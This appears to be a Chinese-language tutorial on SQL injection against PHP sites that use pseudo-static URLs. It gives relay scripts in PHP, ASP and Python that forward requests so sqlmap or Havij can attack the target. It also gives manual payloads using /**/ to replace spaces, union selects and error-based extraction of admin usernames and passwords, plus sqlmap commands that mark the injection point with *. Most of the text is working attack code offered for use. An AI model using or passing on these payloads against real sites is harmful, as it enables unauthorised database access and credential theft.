本文主要主要介绍PHP针对伪静态的注入,结合实例形式总结分析了php针对伪静态的常见注入情况,并附带asp与Python的相关操作代码,对于php程序安全有一定借鉴价值,需要的朋友可以参考下，希望能帮助到大家。

一：中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤：

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP，然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码：

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串，cookie，referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键，方便啊，把空格自动换成/**/，后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入：

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异，相同则不存在，不同存在注入。

4.联合查询：

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法（二）

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注：

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用；但是伪静态不行，会被直接传递到到url中，所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码：

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
